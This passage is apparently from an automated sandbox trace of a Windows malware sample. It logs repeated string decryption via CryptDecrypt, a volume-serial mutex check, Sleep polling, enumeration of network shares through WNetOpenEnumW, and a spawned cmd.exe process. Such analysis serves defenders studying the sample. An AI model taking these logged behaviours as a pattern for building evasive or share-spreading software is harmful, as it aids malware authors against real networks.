Flags=0x0, Size=0x90) returned 0x296abb8 [0059.245] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fa6c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fad4 | out: phKey=0x2a6fad4*=0xd7fa50) returned 1 [0059.245] CryptSetKeyParam (hKey=0xd7fa50, dwParam=0x1, pbData=0x2a6fabc, dwFlags=0x0) returned 1 [0059.245] CryptDecrypt (in: hKey=0xd7fa50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x296abb8, pdwDataLen=0x2a6fa88 | out: pbData=0x296abb8, pdwDataLen=0x2a6fa88) returned 1 [0059.245] CryptDestroyKey (hKey=0xd7fa50) returned 1 [0059.245] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x296abb8 | out: hHeap=0x2960000) returned 1 [0059.245] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x29610b8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0059.245] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610e0 | out: hHeap=0x2960000) returned 1 [0059.245] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961090 | out: hHeap=0x2960000) returned 1 [0059.245] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2a6fb3c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2a6fb3c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0059.245] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610b8 | out: hHeap=0x2960000) returned 1 [0059.245] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x40) returned 0x2961090 [0059.245] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fac8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fb30 | out: phKey=0x2a6fb30*=0xd7ff10) returned 1 [0059.245] CryptSetKeyParam (hKey=0xd7ff10, dwParam=0x1, pbData=0x2a6fb18, dwFlags=0x0) returned 1 [0059.245] CryptDecrypt (in: hKey=0xd7ff10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961090, pdwDataLen=0x2a6fae4 | out: pbData=0x2961090, pdwDataLen=0x2a6fae4) returned 1 [0059.245] CryptDestroyKey (hKey=0xd7ff10) returned 1 [0059.245] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x34) returned 0x29610d8 [0059.245] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x2c4 [0059.245] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0059.245] CloseHandle (hObject=0x2c4) returned 1 [0059.245] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961090 | out: hHeap=0x2960000) returned 1 [0059.245] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610d8 | out: hHeap=0x2960000) returned 1 [0059.246] Sleep (dwMilliseconds=0x3e8) [0061.232] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x20) returned 0x2961090 [0061.232] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fa94, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fafc | out: phKey=0x2a6fafc*=0xd7fd90) returned 1 [0061.232] CryptSetKeyParam (hKey=0xd7fd90, dwParam=0x1, pbData=0x2a6fae4, dwFlags=0x0) returned 1 [0061.232] CryptDecrypt (in: hKey=0xd7fd90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961090, pdwDataLen=0x2a6fab0 | out: pbData=0x2961090, pdwDataLen=0x2a6fab0) returned 1 [0061.232] CryptDestroyKey (hKey=0xd7fd90) returned 1 [0061.232] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x1e) returned 0x29610b8 [0061.232] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x1e) returned 0x29610e0 [0061.232] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x90) returned 0x296abb8 [0061.232] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fa6c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fad4 | out: phKey=0x2a6fad4*=0xd7fbd0) returned 1 [0061.232] CryptSetKeyParam (hKey=0xd7fbd0, dwParam=0x1, pbData=0x2a6fabc, dwFlags=0x0) returned 1 [0061.232] CryptDecrypt (in: hKey=0xd7fbd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x296abb8, pdwDataLen=0x2a6fa88 | out: pbData=0x296abb8, pdwDataLen=0x2a6fa88) returned 1 [0061.232] CryptDestroyKey (hKey=0xd7fbd0) returned 1 [0061.232] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x296abb8 | out: hHeap=0x2960000) returned 1 [0061.232] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x29610b8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0061.232] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610e0 | out: hHeap=0x2960000) returned 1 [0061.232] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961090 | out: hHeap=0x2960000) returned 1 [0061.232] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2a6fb3c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2a6fb3c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0061.232] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610b8 | out: hHeap=0x2960000) returned 1 [0061.232] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x40) returned 0x2961090 [0061.232] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fac8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fb30 | out: phKey=0x2a6fb30*=0xd7fb90) returned 1 [0061.233] CryptSetKeyParam (hKey=0xd7fb90, dwParam=0x1, pbData=0x2a6fb18, dwFlags=0x0) returned 1 [0061.233] CryptDecrypt (in: hKey=0xd7fb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961090, pdwDataLen=0x2a6fae4 | out: pbData=0x2961090, pdwDataLen=0x2a6fae4) returned 1 [0061.233] CryptDestroyKey (hKey=0xd7fb90) returned 1 [0061.233] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x34) returned 0x29610d8 [0061.233] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x2c4 [0061.233] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0061.233] CloseHandle (hObject=0x2c4) returned 1 [0061.233] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961090 | out: hHeap=0x2960000) returned 1 [0061.233] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610d8 | out: hHeap=0x2960000) returned 1 [0061.233] Sleep (dwMilliseconds=0x3e8) [0062.560] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x20) returned 0x2961090 [0062.560] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fa94, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fafc | out: phKey=0x2a6fafc*=0xd7fe50) returned 1 [0062.560] CryptSetKeyParam (hKey=0xd7fe50, dwParam=0x1, pbData=0x2a6fae4, dwFlags=0x0) returned 1 [0062.560] CryptDecrypt (in: hKey=0xd7fe50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961090, pdwDataLen=0x2a6fab0 | out: pbData=0x2961090, pdwDataLen=0x2a6fab0) returned 1 [0062.560] CryptDestroyKey (hKey=0xd7fe50) returned 1 [0062.560] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x1e) returned 0x29610b8 [0062.560] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x1e) returned 0x29610e0 [0062.560] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x90) returned 0x296abb8 [0062.560] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fa6c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fad4 | out: phKey=0x2a6fad4*=0xd7f890) returned 1 [0062.560] CryptSetKeyParam (hKey=0xd7f890, dwParam=0x1, pbData=0x2a6fabc, dwFlags=0x0) returned 1 [0062.560] CryptDecrypt (in: hKey=0xd7f890, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x296abb8, pdwDataLen=0x2a6fa88 | out: pbData=0x296abb8, pdwDataLen=0x2a6fa88) returned 1 [0062.560] CryptDestroyKey (hKey=0xd7f890) returned 1 [0062.560] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x296abb8 | out: hHeap=0x2960000) returned 1 [0062.560] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x29610b8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0062.560] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610e0 | out: hHeap=0x2960000) returned 1 [0062.560] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961090 | out: hHeap=0x2960000) returned 1 [0062.560] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2a6fb3c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2a6fb3c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0062.560] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610b8 | out: hHeap=0x2960000) returned 1 [0062.560] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x40) returned 0x2961090 [0062.560] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fac8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fb30 | out: phKey=0x2a6fb30*=0xd7f890) returned 1 [0062.560] CryptSetKeyParam (hKey=0xd7f890, dwParam=0x1, pbData=0x2a6fb18, dwFlags=0x0) returned 1 [0062.560] CryptDecrypt (in: hKey=0xd7f890, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961090, pdwDataLen=0x2a6fae4 | out: pbData=0x2961090, pdwDataLen=0x2a6fae4) returned 1 [0062.561] CryptDestroyKey (hKey=0xd7f890) returned 1 [0062.561] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x34) returned 0x29610d8 [0062.561] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x2c4 [0062.561] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0062.561] CloseHandle (hObject=0x2c4) returned 1 [0062.561] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961090 | out: hHeap=0x2960000) returned 1 [0062.561] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610d8 | out: hHeap=0x2960000) returned 1 [0062.561] Sleep (dwMilliseconds=0x3e8) [0063.676] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x20) returned 0x2961090 [0063.676] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fa94, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fafc | out: phKey=0x2a6fafc*=0xd7f9d0) returned 1 [0063.676] CryptSetKeyParam (hKey=0xd7f9d0, dwParam=0x1, pbData=0x2a6fae4, dwFlags=0x0) returned 1 [0063.676] CryptDecrypt (in: hKey=0xd7f9d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961090, pdwDataLen=0x2a6fab0 | out: pbData=0x2961090, pdwDataLen=0x2a6fab0) returned 1 [0063.676] CryptDestroyKey (hKey=0xd7f9d0) returned 1 [0063.676] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x1e) returned 0x29610b8 [0063.676] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x1e) returned 0x29610e0 [0063.676] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x90) returned 0x296abb8 [0063.676] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fa6c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fad4 | out: phKey=0x2a6fad4*=0xd7fed0) returned 1 [0063.676] CryptSetKeyParam (hKey=0xd7fed0, dwParam=0x1, pbData=0x2a6fabc, dwFlags=0x0) returned 1 [0063.676] CryptDecrypt (in: hKey=0xd7fed0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x296abb8, pdwDataLen=0x2a6fa88 | out: pbData=0x296abb8, pdwDataLen=0x2a6fa88) returned 1 [0063.676] CryptDestroyKey (hKey=0xd7fed0) returned 1 [0063.676] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x296abb8 | out: hHeap=0x2960000) returned 1 [0063.676] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x29610b8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0063.676] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610e0 | out: hHeap=0x2960000) returned 1 [0063.676] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961090 | out: hHeap=0x2960000) returned 1 [0063.676] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2a6fb3c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2a6fb3c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0063.677] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610b8 | out: hHeap=0x2960000) returned 1 [0063.677] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x40) returned 0x2961090 [0063.677] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fac8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fb30 | out: phKey=0x2a6fb30*=0xd7fa10) returned 1 [0063.677] CryptSetKeyParam (hKey=0xd7fa10, dwParam=0x1, pbData=0x2a6fb18, dwFlags=0x0) returned 1 [0063.677] CryptDecrypt (in: hKey=0xd7fa10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961090, pdwDataLen=0x2a6fae4 | out: pbData=0x2961090, pdwDataLen=0x2a6fae4) returned 1 [0063.677] CryptDestroyKey (hKey=0xd7fa10) returned 1 [0063.677] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x34) returned 0x29610d8 [0063.677] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x2c4 [0063.677] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0063.677] CloseHandle (hObject=0x2c4) returned 1 [0063.677] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961090 | out: hHeap=0x2960000) returned 1 [0063.677] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610d8 | out: hHeap=0x2960000) returned 1 [0063.677] Sleep (dwMilliseconds=0x3e8) [0064.688] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x20) returned 0x2961090 [0064.688] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fa94, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fafc | out: phKey=0x2a6fafc*=0xd7ffd0) returned 1 [0064.688] CryptSetKeyParam (hKey=0xd7ffd0, dwParam=0x1, pbData=0x2a6fae4, dwFlags=0x0) returned 1 [0064.688] CryptDecrypt (in: hKey=0xd7ffd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961090, pdwDataLen=0x2a6fab0 | out: pbData=0x2961090, pdwDataLen=0x2a6fab0) returned 1 [0064.688] CryptDestroyKey (hKey=0xd7ffd0) returned 1 [0064.688] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x1e) returned 0x29610b8 [0064.688] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x1e) returned 0x29610e0 [0064.688] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x90) returned 0x296abb8 [0064.689] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fa6c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fad4 | out: phKey=0x2a6fad4*=0xd7fb10) returned 1 [0064.689] CryptSetKeyParam (hKey=0xd7fb10, dwParam=0x1, pbData=0x2a6fabc, dwFlags=0x0) returned 1 [0064.689] CryptDecrypt (in: hKey=0xd7fb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x296abb8, pdwDataLen=0x2a6fa88 | out: pbData=0x296abb8, pdwDataLen=0x2a6fa88) returned 1 [0064.689] CryptDestroyKey (hKey=0xd7fb10) returned 1 [0064.689] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x296abb8 | out: hHeap=0x2960000) returned 1 [0064.689] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x29610b8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0064.689] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610e0 | out: hHeap=0x2960000) returned 1 [0064.689] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961090 | out: hHeap=0x2960000) returned 1 [0064.689] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2a6fb3c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2a6fb3c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0064.689] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610b8 | out: hHeap=0x2960000) returned 1 [0064.689] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x40) returned 0x2961090 [0064.689] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fac8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fb30 | out: phKey=0x2a6fb30*=0xd7f8d0) returned 1 [0064.690] CryptSetKeyParam (hKey=0xd7f8d0, dwParam=0x1, pbData=0x2a6fb18, dwFlags=0x0) returned 1 [0064.690] CryptDecrypt (in: hKey=0xd7f8d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961090, pdwDataLen=0x2a6fae4 | out: pbData=0x2961090, pdwDataLen=0x2a6fae4) returned 1 [0064.690] CryptDestroyKey (hKey=0xd7f8d0) returned 1 [0064.690] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x34) returned 0x29610d8 [0064.690] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x2c4 [0064.690] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0064.690] CloseHandle (hObject=0x2c4) returned 1 [0064.690] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961090 | out: hHeap=0x2960000) returned 1 [0064.690] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610d8 | out: hHeap=0x2960000) returned 1 [0064.690] Sleep (dwMilliseconds=0x3e8) Thread: id = 8 os_tid = 0xc48 Thread: id = 9 os_tid = 0x4bc [0036.765] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x21a) returned 0x2968518 [0036.765] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x28) returned 0x2961038 [0036.765] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x228 [0036.765] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x22c [0036.765] GetComputerNameW (in: lpBuffer=0x2968528, nSize=0x2c6f9cc | out: lpBuffer="NQDPDE", nSize=0x2c6f9cc) returned 1 [0036.766] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x20) returned 0x2961068 [0036.766] GetLastError () returned 0xcb [0036.766] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x214) returned 0x2968740 [0036.766] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0036.767] GetCurrentThreadId () returned 0x4bc [0036.767] SetLastError (dwErrCode=0xcb) [0036.767] GetLastError () returned 0xcb [0036.767] SetLastError (dwErrCode=0xcb) [0036.767] GetLastError () returned 0xcb [0036.767] SetLastError (dwErrCode=0xcb) [0036.767] GetLastError () returned 0xcb [0036.767] SetLastError (dwErrCode=0xcb) [0036.767] GetLastError () returned 0xcb [0036.767] SetLastError (dwErrCode=0xcb) [0036.767] GetLastError () returned 0xcb [0036.767] SetLastError (dwErrCode=0xcb) [0036.767] GetLastError () returned 0xcb [0036.767] SetLastError (dwErrCode=0xcb) [0036.767] GetLastError () returned 0xcb [0036.767] SetLastError (dwErrCode=0xcb) [0036.767] GetLastError () returned 0xcb [0036.767] SetLastError (dwErrCode=0xcb) [0036.767] GetLastError () returned 0xcb [0036.767] SetLastError (dwErrCode=0xcb) [0036.767] GetLastError () returned 0xcb [0036.767] SetLastError (dwErrCode=0xcb) [0036.767] GetLastError () returned 0xcb [0036.767] SetLastError (dwErrCode=0xcb) [0036.767] GetLastError () returned 0xcb [0036.768] SetLastError (dwErrCode=0xcb) [0036.768] GetLastError () returned 0xcb [0036.768] SetLastError (dwErrCode=0xcb) [0036.768] GetLastError () returned 0xcb [0036.768] SetLastError (dwErrCode=0xcb) [0036.768] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x4000) returned 0x2a70048 [0036.768] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x10000) returned 0x2a74050 [0036.768] WNetOpenEnumW (in: dwScope=0x1, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x2c6f990 | out: lphEnum=0x2c6f990*=0xd6a7a8) returned 0x0 [0037.497] WNetEnumResourceW (in: hEnum=0xd6a7a8, lpcCount=0x2c6f998, lpBuffer=0x2a70048, lpBufferSize=0x2c6f988 | out: lpcCount=0x2c6f998, lpBuffer=0x2a70048, lpBufferSize=0x2c6f988) returned 0x103 [0037.497] WNetCloseEnum (hEnum=0xd6a7a8) returned 0x0 [0037.497] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2a70048 | out: hHeap=0x2960000) returned 1 [0037.497] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2a74050 | out: hHeap=0x2960000) returned 1 [0037.497] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x4000) returned 0x2a70048 [0037.497] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x10000) returned 0x2a74050 [0037.497] WNetOpenEnumW (in: dwScope=0x4, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x2c6f978 | out: lphEnum=0x2c6f978*=0xd70630) returned 0x0 [0037.498] WNetEnumResourceW (in: hEnum=0xd70630, lpcCount=0x2c6f980, lpBuffer=0x2a70048, lpBufferSize=0x2c6f970 | out: lpcCount=0x2c6f980, lpBuffer=0x2a70048, lpBufferSize=0x2c6f970) returned 0x103 [0037.498] WNetCloseEnum (hEnum=0xd70630) returned 0x0 [0037.498] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2a70048 | out: hHeap=0x2960000) returned 1 [0037.498] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2a74050 | out: hHeap=0x2960000) returned 1 [0037.498] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x4000) returned 0x2a70048 [0037.498] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x10000) returned 0x2a74050 [0037.498] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x2c6f960 | out: lphEnum=0x2c6f960*=0xd6a7a8) returned 0x0 [0051.785] WNetEnumResourceW (in: hEnum=0xd6a7a8, lpcCount=0x2c6f968, lpBuffer=0x2a70048, lpBufferSize=0x2c6f958 | out: lpcCount=0x2c6f968, lpBuffer=0x2a70048, lpBufferSize=0x2c6f958) returned 0x0 [0051.785] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x4000) returned 0x2a84058 [0051.785] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x10000) returned 0x2a88060 [0051.785] WNetOpenEnumW (dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x2a70048, lphEnum=0x2c6f920) Process: id = "3" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x6939000" os_pid = "0xf7c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xa9c" cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\"" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 12 os_tid = 0xd94 [0046.118] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff7b9ff0000 [0046.118] __set_app_type (_Type=0x1) [0046.118] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff7ba006d00) returned 0x0 [0046.118] __getmainargs (in: _Argc=0x7ff7ba029200, _Argv=0x7ff7ba029208, _Env=0x7ff7ba029210, _DoWildCard=0, _StartInfo=0x7ff7ba02921c | out: _Argc=0x7ff7ba029200, _Argv=0x7ff7ba029208, _Env=0x7ff7ba029210) returned 0 [0046.118] _onexit (_Func=0x7ff7ba007fd0) returned 0x7ff7ba007fd0 [0046.119] _onexit (_Func=0x7ff7ba007fe0) returned 0x7ff7ba007fe0 [0046.119] _onexit (_Func=0x7ff7ba007ff0) returned 0x7ff7ba007ff0 [0046.119] _onexit (_Func=0x7ff7ba008000) returned 0x7ff7ba008000 [0046.119] _onexit (_Func=0x7ff7ba008010) returned 0x7ff7ba008010 [0046.119] _onexit (_Func=0x7ff7ba008020) returned 0x7ff7ba008020 [0046.119] GetCurrentThreadId () returned 0xd94 [0046.119] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xd94) returned 0x70 [0046.120] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000 [0046.120] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetThreadUILanguage") returned 0x7ff92fdea990 [0046.120] SetThreadUILanguage (LangId=0x0) returned 0x409 [0046.136] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0046.136] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x14d3cff808 | out: phkResult=0x14d3cff808*=0x0) returned 0x2 [0046.136] VirtualQuery (in: lpAddress=0x14d3cff7f4, lpBuffer=0x14d3cff770, dwLength=0x30 | out: lpBuffer=0x14d3cff770*(BaseAddress=0x14d3cff000, AllocationBase=0x14d3c00000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0046.137] VirtualQuery (in: lpAddress=0x14d3c00000, lpBuffer=0x14d3cff770, dwLength=0x30 | out: lpBuffer=0x14d3cff770*(BaseAddress=0x14d3c00000, AllocationBase=0x14d3c00000, AllocationProtect=0x4, 